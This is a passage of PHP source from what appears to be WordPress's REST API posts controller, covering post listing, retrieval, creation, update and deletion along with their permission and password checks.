		if ( ! $post ) {
			return $required;
		}

		if ( ! empty( $this->password_check_passed[ $post->ID ] ) ) {
			// Password previously checked and approved.
			return false;
		}

		return ! current_user_can( 'edit_post', $post->ID );
	}

	/**
	 * Retrieves a collection of posts.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {

		// Ensure a search string is set in case the orderby is set to 'relevance'.
		if ( ! empty( $request['orderby'] ) && 'relevance' === $request['orderby'] && empty( $request['search'] ) ) {
			return new WP_Error(
				'rest_no_search_term_defined',
				__( 'You need to define a search term to order by relevance.' ),
				array( 'status' => 400 )
			);
		}

		// Ensure an include parameter is set in case the orderby is set to 'include'.
		if ( ! empty( $request['orderby'] ) && 'include' === $request['orderby'] && empty( $request['include'] ) ) {
			return new WP_Error(
				'rest_orderby_include_missing_include',
				__( 'You need to define an include parameter to order by include.' ),
				array( 'status' => 400 )
			);
		}

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();
		$args       = array();

		/*
		 * This array defines mappings between public API query parameters whose
		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'author'         => 'author__in',
			'author_exclude' => 'author__not_in',
			'exclude'        => 'post__not_in',
			'include'        => 'post__in',
			'ignore_sticky'  => 'ignore_sticky_posts',
			'menu_order'     => 'menu_order',
			'offset'         => 'offset',
			'order'          => 'order',
			'orderby'        => 'orderby',
			'page'           => 'paged',
			'parent'         => 'post_parent__in',
			'parent_exclude' => 'post_parent__not_in',
			'search'         => 's',
			'search_columns' => 'search_columns',
			'slug'           => 'post_name__in',
			'status'         => 'post_status',
		);

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$args[ $wp_param ] = $request[ $api_param ];
			}
		}

		// Check for & assign any parameters which require special handling or setting.
		$args['date_query'] = array();

		if ( isset( $registered['before'], $request['before'] ) ) {
			$args['date_query'][] = array(
				'before' => $request['before'],
				'column' => 'post_date',
			);
		}

		if ( isset( $registered['modified_before'], $request['modified_before'] ) ) {
			$args['date_query'][] = array(
				'before' => $request['modified_before'],
				'column' => 'post_modified',
			);
		}

		if ( isset( $registered['after'], $request['after'] ) ) {
			$args['date_query'][] = array(
				'after'  => $request['after'],
				'column' => 'post_date',
			);
		}

		if ( isset( $registered['modified_after'], $request['modified_after'] ) ) {
			$args['date_query'][] = array(
				'after'  => $request['modified_after'],
				'column' => 'post_modified',
			);
		}

		// Ensure our per_page parameter overrides any provided posts_per_page filter.
		if ( isset( $registered['per_page'] ) ) {
			$args['posts_per_page'] = $request['per_page'];
		}

		if ( isset( $registered['sticky'], $request['sticky'] ) ) {
			$sticky_posts = get_option( 'sticky_posts', array() );
			if ( ! is_array( $sticky_posts ) ) {
				$sticky_posts = array();
			}
			if ( $request['sticky'] ) {
				/*
				 * As post__in will be used to only get sticky posts,
				 * we have to support the case where post__in was already
				 * specified.
				 */
				$args['post__in'] = $args['post__in'] ? array_intersect( $sticky_posts, $args['post__in'] ) : $sticky_posts;

				/*
				 * If we intersected, but there are no post IDs in common,
				 * WP_Query won't return "no posts" for post__in = array()
				 * so we have to fake it a bit.
				 */
				if ( ! $args['post__in'] ) {
					$args['post__in'] = array( 0 );
				}
			} elseif ( $sticky_posts ) {
				/*
				 * As post___not_in will be used to only get posts that
				 * are not sticky, we have to support the case where post__not_in
				 * was already specified.
				 */
				$args['post__not_in'] = array_merge( $args['post__not_in'], $sticky_posts );
			}
		}

		/*
		 * Honor the original REST API `post__in` behavior. Don't prepend sticky posts
		 * when `post__in` has been specified.
		 */
		if ( ! empty( $args['post__in'] ) ) {
			unset( $args['ignore_sticky_posts'] );
		}

		if (
			isset( $registered['search_semantics'], $request['search_semantics'] )
			&& 'exact' === $request['search_semantics']
		) {
			$args['exact'] = true;
		}

		$args = $this->prepare_tax_query( $args, $request );

		if ( isset( $registered['format'], $request['format'] ) ) {
			$formats = $request['format'];
			/*
			 * The relation needs to be set to `OR` since the request can contain
			 * two separate conditions. The user may be querying for items that have
			 * either the `standard` format or a specific format.
			 */
			$formats_query = array( 'relation' => 'OR' );

			/*
			 * The default post format, `standard`, is not stored in the database.
			 * If `standard` is part of the request, the query needs to exclude all post items that
			 * have a format assigned.
			 */
			if ( in_array( 'standard', $formats, true ) ) {
				$formats_query[] = array(
					'taxonomy' => 'post_format',
					'field'    => 'slug',
					'operator' => 'NOT EXISTS',
				);
				// Remove the `standard` format, since it cannot be queried.
				unset( $formats[ array_search( 'standard', $formats, true ) ] );
			}

			// Add any remaining formats to the formats query.
			if ( ! empty( $formats ) ) {
				// Add the `post-format-` prefix.
				$terms = array_map(
					static function ( $format ) {
						return "post-format-$format";
					},
					$formats
				);

				$formats_query[] = array(
					'taxonomy' => 'post_format',
					'field'    => 'slug',
					'terms'    => $terms,
					'operator' => 'IN',
				);
			}

			// Enable filtering by both post formats and other taxonomies by combining them with `AND`.
			if ( isset( $args['tax_query'] ) ) {
				$args['tax_query'][] = array(
					'relation' => 'AND',
					$formats_query,
				);
			} else {
				$args['tax_query'] = $formats_query;
			}
		}

		// Force the post_type argument, since it's not a user input variable.
		$args['post_type'] = $this->post_type;

		$is_head_request = $request->is_method( 'HEAD' );
		if ( $is_head_request ) {
			// Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination.
			$args['fields'] = 'ids';
			// Disable priming post meta for HEAD requests to improve performance.
			$args['update_post_term_cache'] = false;
			$args['update_post_meta_cache'] = false;
		}

		/**
		 * Filters WP_Query arguments when querying posts via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_post_query`
		 *  - `rest_page_query`
		 *  - `rest_attachment_query`
		 *
		 * Enables adding extra arguments or setting defaults for a post collection request.
		 *
		 * @since 4.7.0
		 * @since 5.7.0 Moved after the `tax_query` query arg is generated.
		 *
		 * @link https://developer.wordpress.org/reference/classes/wp_query/
		 *
		 * @param array           $args    Array of arguments for WP_Query.
		 * @param WP_REST_Request $request The REST API request.
		 */
		$args       = apply_filters( "rest_{$this->post_type}_query", $args, $request );
		$query_args = $this->prepare_items_query( $args, $request );

		$posts_query  = new WP_Query();
		$query_result = $posts_query->query( $query_args );

		// Allow access to all password protected posts if the context is edit.
		if ( 'edit' === $request['context'] ) {
			add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 );
		}

		if ( ! $is_head_request ) {
			$posts = array();

			update_post_author_caches( $query_result );
			update_post_parent_caches( $query_result );

			if ( post_type_supports( $this->post_type, 'thumbnail' ) ) {
				update_post_thumbnail_cache( $posts_query );
			}

			foreach ( $query_result as $post ) {
				if ( 'edit' === $request['context'] ) {
					$permission = $this->check_update_permission( $post );
				} else {
					$permission = $this->check_read_permission( $post );
				}

				if ( ! $permission ) {
					continue;
				}

				$data    = $this->prepare_item_for_response( $post, $request );
				$posts[] = $this->prepare_response_for_collection( $data );
			}
		}

		// Reset filter.
		if ( 'edit' === $request['context'] ) {
			remove_filter( 'post_password_required', array( $this, 'check_password_required' ) );
		}

		$page        = isset( $query_args['paged'] ) ? (int) $query_args['paged'] : 0;
		$total_posts = $posts_query->found_posts;

		if ( $total_posts < 1 && $page > 1 ) {
			// Out-of-bounds, run the query without pagination/offset to get the total count.
			unset( $query_args['paged'] );

			$count_query                          = new WP_Query();
			$query_args['fields']                 = 'ids';
			$query_args['posts_per_page']         = 1;
			$query_args['update_post_meta_cache'] = false;
			$query_args['update_post_term_cache'] = false;

			$count_query->query( $query_args );
			$total_posts = $count_query->found_posts;
		}

		$max_pages = (int) ceil( $total_posts / (int) $posts_query->query_vars['posts_per_page'] );

		if ( $page > $max_pages && $total_posts > 0 ) {
			return new WP_Error(
				'rest_post_invalid_page_number',
				__( 'The page number requested is larger than the number of pages available.' ),
				array( 'status' => 400 )
			);
		}

		$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $posts );

		$response->header( 'X-WP-Total', (int) $total_posts );
		$response->header( 'X-WP-TotalPages', (int) $max_pages );

		$request_params = $request->get_query_params();
		$collection_url = rest_url( rest_get_route_for_post_type_items( $this->post_type ) );
		$base           = add_query_arg( urlencode_deep( $request_params ), $collection_url );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Gets the post, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_post( $id ) {
		$error = new WP_Error(
			'rest_post_invalid_id',
			__( 'Invalid post ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$post = get_post( (int) $id );
		if ( empty( $post ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) {
			return $error;
		}

		return $post;
	}

	/**
	 * Checks if a given request has access to read a post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access for the item, WP_Error object or false otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( 'edit' === $request['context'] && $post && ! $this->check_update_permission( $post ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( $post && ! empty( $request->get_query_params()['password'] ) ) {
			// Check post password, and return error if invalid.
			if ( ! hash_equals( $post->post_password, $request->get_query_params()['password'] ) ) {
				return new WP_Error(
					'rest_post_incorrect_password',
					__( 'Incorrect post password.' ),
					array( 'status' => 403 )
				);
			}
		}

		// Allow access to all password protected posts if the context is edit.
		if ( 'edit' === $request['context'] ) {
			add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 );
		}

		if ( $post ) {
			return $this->check_read_permission( $post );
		}

		return true;
	}

	/**
	 * Checks if the user can access password-protected content.
	 *
	 * This method determines whether we need to override the regular password
	 * check in core with a filter.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post         $post    Post to check against.
	 * @param WP_REST_Request $request Request data to check.
	 * @return bool True if the user can access password-protected content, otherwise false.
	 */
	public function can_access_password_content( $post, $request ) {
		if ( empty( $post->post_password ) ) {
			// No filter required.
			return false;
		}

		/*
		 * Users always gets access to password protected content in the edit
		 * context if they have the `edit_post` meta capability.
		 */
		if (
			'edit' === $request['context'] &&
			current_user_can( 'edit_post', $post->ID )
		) {
			return true;
		}

		// No password, no auth.
		if ( empty( $request['password'] ) ) {
			return false;
		}

		// Double-check the request password.
		return hash_equals( $post->post_password, $request['password'] );
	}

	/**
	 * Retrieves a single post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$data     = $this->prepare_item_for_response( $post, $request );
		$response = rest_ensure_response( $data );

		if ( is_post_type_viewable( get_post_type_object( $post->post_type ) ) ) {
			$response->link_header( 'alternate', get_permalink( $post->ID ), array( 'type' => 'text/html' ) );
		}

		return $response;
	}

	/**
	 * Checks if a given request has access to create a post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error(
				'rest_post_exists',
				__( 'Cannot create existing post.' ),
				array( 'status' => 400 )
			);
		}

		$post_type = get_post_type_object( $this->post_type );

		if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
			return new WP_Error(
				'rest_cannot_edit_others',
				__( 'Sorry, you are not allowed to create posts as this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) && ! current_user_can( $post_type->cap->publish_posts ) ) {
			return new WP_Error(
				'rest_cannot_assign_sticky',
				__( 'Sorry, you are not allowed to make posts sticky.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! current_user_can( $post_type->cap->create_posts ) ) {
			return new WP_Error(
				'rest_cannot_create',
				__( 'Sorry, you are not allowed to create posts as this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! $this->check_assign_terms_permission( $request ) ) {
			return new WP_Error(
				'rest_cannot_assign_term',
				__( 'Sorry, you are not allowed to assign the provided terms.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Creates a single post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error(
				'rest_post_exists',
				__( 'Cannot create existing post.' ),
				array( 'status' => 400 )
			);
		}

		$prepared_post = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_post ) ) {
			return $prepared_post;
		}

		$prepared_post->post_type = $this->post_type;

		if ( ! empty( $prepared_post->post_name )
			&& ! empty( $prepared_post->post_status )
			&& in_array( $prepared_post->post_status, array( 'draft', 'pending' ), true )
		) {
			/*
			 * `wp_unique_post_slug()` returns the same slug for 'draft' or 'pending' posts.
			 *
			 * To ensure that a unique slug is generated, pass the post data with the 'publish' status.
			 */
			$prepared_post->post_name = wp_unique_post_slug(
				$prepared_post->post_name,
				$prepared_post->id,
				'publish',
				$prepared_post->post_type,
				$prepared_post->post_parent
			);
		}

		$post_id = wp_insert_post( wp_slash( (array) $prepared_post ), true, false );

		if ( is_wp_error( $post_id ) ) {

			if ( 'db_insert_error' === $post_id->get_error_code() ) {
				$post_id->add_data( array( 'status' => 500 ) );
			} else {
				$post_id->add_data( array( 'status' => 400 ) );
			}

			return $post_id;
		}

		$post = get_post( $post_id );

		/**
		 * Fires after a single post is created or updated via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_insert_post`
		 *  - `rest_insert_page`
		 *  - `rest_insert_attachment`
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Post         $post     Inserted or updated post object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a post, false when updating.
		 */
		do_action( "rest_insert_{$this->post_type}", $post, $request, true );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['sticky'] ) ) {
			if ( ! empty( $request['sticky'] ) ) {
				stick_post( $post_id );
			} else {
				unstick_post( $post_id );
			}
		}

		if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
			$this->handle_featured_media( $request['featured_media'], $post_id );
		}

		if ( ! empty( $schema['properties']['format'] ) && ! empty( $request['format'] ) ) {
			set_post_format( $post, $request['format'] );
		}

		if ( ! empty( $schema['properties']['template'] ) && isset( $request['template'] ) ) {
			$this->handle_template( $request['template'], $post_id, true );
		}

		$terms_update = $this->handle_terms( $post_id, $request );

		if ( is_wp_error( $terms_update ) ) {
			return $terms_update;
		}

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $post_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$post          = get_post( $post_id );
		$fields_update = $this->update_additional_fields_for_object( $post, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a single post is completely created or updated via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_after_insert_post`
		 *  - `rest_after_insert_page`
		 *  - `rest_after_insert_attachment`
		 *
		 * @since 5.0.0
		 *
		 * @param WP_Post         $post     Inserted or updated post object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a post, false when updating.
		 */
		do_action( "rest_after_insert_{$this->post_type}", $post, $request, true );

		wp_after_insert_post( $post, false, null );

		$response = $this->prepare_item_for_response( $post, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( rest_get_route_for_post( $post ) ) );

		return $response;
	}

	/**
	 * Checks if a given request has access to update a post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$post_type = get_post_type_object( $this->post_type );

		if ( $post && ! $this->check_update_permission( $post ) ) {
			return new WP_Error(
				'rest_cannot_edit',
				__( 'Sorry, you are not allowed to edit this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
			return new WP_Error(
				'rest_cannot_edit_others',
				__( 'Sorry, you are not allowed to update posts as this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) && ! current_user_can( $post_type->cap->publish_posts ) ) {
			return new WP_Error(
				'rest_cannot_assign_sticky',
				__( 'Sorry, you are not allowed to make posts sticky.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! $this->check_assign_terms_permission( $request ) ) {
			return new WP_Error(
				'rest_cannot_assign_term',
				__( 'Sorry, you are not allowed to assign the provided terms.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Updates a single post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$valid_check = $this->get_post( $request['id'] );
		if ( is_wp_error( $valid_check ) ) {
			return $valid_check;
		}

		$post_before = get_post( $request['id'] );
		$post        = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( ! empty( $post->post_status ) ) {
			$post_status = $post->post_status;
		} else {
			$post_status = $post_before->post_status;
		}

		/*
		 * `wp_unique_post_slug()` returns the same slug for 'draft' or 'pending' posts.
		 *
		 * To ensure that a unique slug is generated, pass the post data with the 'publish' status.
		 */
		if ( ! empty( $post->post_name ) && in_array( $post_status, array( 'draft', 'pending' ), true ) ) {
			$post_parent     = ! empty( $post->post_parent ) ? $post->post_parent : 0;
			$post->post_name = wp_unique_post_slug(
				$post->post_name,
				$post->ID,
				'publish',
				$post->post_type,
				$post_parent
			);
		}

		// Convert the post object to an array, otherwise wp_update_post() will expect non-escaped input.
		$post_id = wp_update_post( wp_slash( (array) $post ), true, false );

		if ( is_wp_error( $post_id ) ) {
			if ( 'db_update_error' === $post_id->get_error_code() ) {
				$post_id->add_data( array( 'status' => 500 ) );
			} else {
				$post_id->add_data( array( 'status' => 400 ) );
			}
			return $post_id;
		}

		$post = get_post( $post_id );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		do_action( "rest_insert_{$this->post_type}", $post, $request, false );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['format'] ) && ! empty( $request['format'] ) ) {
			set_post_format( $post, $request['format'] );
		}

		if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
			$this->handle_featured_media( $request['featured_media'], $post_id );
		}

		if ( ! empty( $schema['properties']['sticky'] ) && isset( $request['sticky'] ) ) {
			if ( ! empty( $request['sticky'] ) ) {
				stick_post( $post_id );
			} else {
				unstick_post( $post_id );
			}
		}

		if ( ! empty( $schema['properties']['template'] ) && isset( $request['template'] ) ) {
			$this->handle_template( $request['template'], $post->ID );
		}

		$terms_update = $this->handle_terms( $post->ID, $request );

		if ( is_wp_error( $terms_update ) ) {
			return $terms_update;
		}

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $post->ID );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$post          = get_post( $post_id );
		$fields_update = $this->update_additional_fields_for_object( $post, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		// Filter is fired in WP_REST_Attachments_Controller subclass.
		if ( 'attachment' === $this->post_type ) {
			$response = $this->prepare_item_for_response( $post, $request );
			return rest_ensure_response( $response );
		}

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		do_action( "rest_after_insert_{$this->post_type}", $post, $request, false );

		wp_after_insert_post( $post, true, $post_before );

		$response = $this->prepare_item_for_response( $post, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a given request has access to delete a post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( $post && ! $this->check_delete_permission( $post ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes a single post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$id    = $post->ID;
		$force = (bool) $request['force'];

		$supports_trash = ( EMPTY_TRASH_DAYS > 0 );

		if ( 'attachment' === $post->post_type ) {
			$supports_trash = $supports_trash && MEDIA_TRASH;
		}

		/**
		 * Filters whether a post is trashable.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_post_trashable`
		 *  - `rest_page_trashable`
		 *  - `rest_attachment_trashable`
		 *
		 * Pass false to disable Trash support for the post.
		 *
		 * @since 4.7.0
		 *
		 * @param bool    $supports_trash Whether the post type support trashing.
		 * @param WP_Post $post           The Post object being considered for trashing support.
		 */
		$supports_trash = apply_filters( "rest_{$this->post_type}_trashable", $supports_trash, $post );

		if ( ! $this->check_delete_permission( $post ) ) {
			return new WP_Error(
				'rest_user_cannot_delete_post',
				__( 'Sorry, you are not allowed to delete this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$request->set_param( 'context', 'edit' );

		// If we're forcing, then delete permanently.
		if ( $force ) {
			$previous = $this->prepare_item_for_response( $post, $request );
			$result   = wp_delete_post( $id, true );
			$response = new WP_REST_Response();
			$response->set_data(
				array(
					'deleted'  => true,
					'previous' => $previous->get_data(),
				)
			);
		} else {
			// If we don't support trashing for this type, error out.
			if ( ! $supports_trash ) {
				return new WP_Error(
					'rest_trash_not_supported',
					/* translators: %s: force=true */
					sprintf( __( "The post does not support trashing. Set '%s' to delete." ), 'force=true' ),
					array( 'status' => 501 )
				);
			}

			// Otherwise, only trash if we haven't already.
			if ( 'trash' === $post->post_status ) {
				return new WP_Error(
					'rest_already_trashed',
					__( 'The post has already been deleted.' ),
					array( 'status' => 410 )
				);
			}

			/*
			 * (Note that internally this falls through to `wp_delete_post()`
			 * if the Trash is disabled.)
			 */
			$result   = wp_trash_post( $id );
			$post     = get_post( $id );
			$response = $this->prepare_item_for_response( $post, $request );
		}

		if ( ! $result ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The post cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		/**
		 * Fires immediately after a single post is deleted or trashed via the REST API.
		 *
		 * They dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_delete_post`
		 *  - `rest_delete_page`
		 *  - `rest_delete_attachment`
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Post          $post     The deleted or trashed post.
		 * @param WP_REST_Response $response The response data.
		 * @param WP_REST_Request  $request  The request sent to the API.
		 */
		do_action( "rest_delete_{$this->post_type}", $post, $response, $request );

		return $response;
	}

	/**
	 * Determines the allowed query_vars for a get_items() response and prepares
	 * them for WP_Query.
	 *
	 * @since 4.7.0
	 *
	 * @param array           $prepared_args Optional. Prepared WP_Query arguments. Default empty array.
	 * @param WP_REST_Request $request       Optional. Full details about the request.
	 * @return array Items query arguments.
	 */
	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
		$query_args = array();

		foreach ( $prepared_args as $key => $value ) {
			/**
			 * Filters the query_vars used in get_items() for the constructed query.
			 *
			 * The dynamic portion of the hook name, `$key`, refers to the query_var key.
			 *
			 * @since 4.7.0
			 *
			 * @param string $value The query_var value.
			 */
			$query_args[ $key ] = apply_filters( "rest_query_var-{$key}", $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
		}

		if ( 'post' !== $this->post_type || ! isset( $query_args['ignore_sticky_posts'] ) ) {
			$query_args['ignore_sticky_posts'] = true;
		}

		// Map to proper WP_Query orderby param.
		if ( isset( $query_args['orderby'] ) && isset( $request['orderby'] ) ) {
			$orderby_mappings = array(
				'id'            => 'ID',
				'include'       => 'post__in',
				'slug'          => 'post_name',
				'include_slugs' => 'post_name__in',
			);

			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
				$query_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
			}
		}

		return $query_args;
	}

	/**
	 * Checks the post_date_gmt or modified_gmt and prepare any post or
	 * modified date for single post output.
	 *
	 * @since 4.7.0
	 *
	 * @param string      $date_gmt GMT publication time.
	 * @param string|null $date     Optional. Local publication time. Default null.
	 * @return string|null ISO8601/RFC3339 formatted datetime.
	 */
	protected function prepare_date_response( $date_gmt, $date = null ) {
		// Use the date if passed.
		if ( isset( $date ) ) {
			return mysql_to_rfc3339( $date );
		}

		// Return null if $date_gmt is empty/zeros.
		if ( '0000-00-00 00:00:00' === $date_gmt ) {
			return null;
		}

		// Return the formatted datetime.
		return mysql_to_rfc3339( $date_gmt );
	}

	/**
	 * Prepares a single post for create or update.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Post object or WP_Error.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_post  = new stdClass();
		$current_status = '';

		// Post ID.
		if ( isset( $request['id'] ) ) {
			$existing_post = $this->get_post( $request['id'] );
			if ( is_wp_error( $existing_post ) ) {
				return $existing_post;
			}

			$prepared_post->ID = $existing_post->ID;
			$current_status    = $existing_post->post_status;
		}

		$schema = $this->get_item_schema();

		// Post title.
		if ( ! empty( $schema['properties']['title'] ) && isset( $request['title'] ) ) {
			if ( is_string( $request['title'] ) ) {
				$prepared_post->post_title = $request['title'];
			} elseif ( ! empty( $request['title']['raw'] ) ) {
				$prepared_post->post_title = $request['title']['raw'];
			}
		}

		// Post content.
		if ( ! empty( $schema['properties']['content'] ) && isset( $request['content'] ) ) {
			if ( is_string( $request['content'] ) ) {
				$prepared_post->post_content = $request['content'];
			} elseif ( isset( $request['content']['raw'] ) ) {
				$prepared_post->post_content = $request['content']['raw'];
			}
		}

		// Post excerpt.
		if ( ! empty( $schema['properties']['excerpt'] ) && isset( $request['excerpt'] ) ) {
			if ( is_string( $request['excerpt'] ) ) {
				$prepared_post->post_excerpt = $request['excerpt'];
			} elseif ( isset( $request['excerpt']['raw'] ) ) {
				$prepared_post->post_excerpt = $request['excerpt']['raw'];
			}
		}

		// Post type.
		if ( empty( $request['id'] ) ) {
			// Creating new post, use default type for the controller.
			$prepared_post->post_type = $this->post_type;
		} else {
			// Updating a post, use previous type.
			$prepared_post->post_type = get_post_type( $request['id'] );
		}

		$post_type = get_post_type_object( $prepared_post->post_type );

		// Post status.
		if (
			! empty( $schema['properties']['status'] ) &&
			isset( $request['status'] ) &&
			( ! $current_status || $current_status !== $request['status'] )
		) {
			$status = $this->handle_status_param( $request['status'], $post_type );

			if ( is_wp_error( $status ) ) {
				return $status;
			}

			$prepared_post->post_status = $status;
		}

		// Post date.
		if ( ! empty( $schema['properties']['date'] ) && ! empty( $request['date'] ) ) {
			$current_date = isset( $prepared_post->ID ) ? get_post( $prepared_post->ID )->post_date : false;
			$date_data    = rest_get_date_with_gmt( $request['date'] );

			if ( ! empty( $date_data ) && $current_date !== $date_data[0] ) {
				list( $prepared_post->post_date, $prepared_post->post_date_gmt ) = $date_data;
				$prepared_post->edit_date                                        = true;
			}
		} elseif ( ! empty( $schema['properties']['date_gmt'] ) && ! empty( $request['date_gmt'] ) ) {
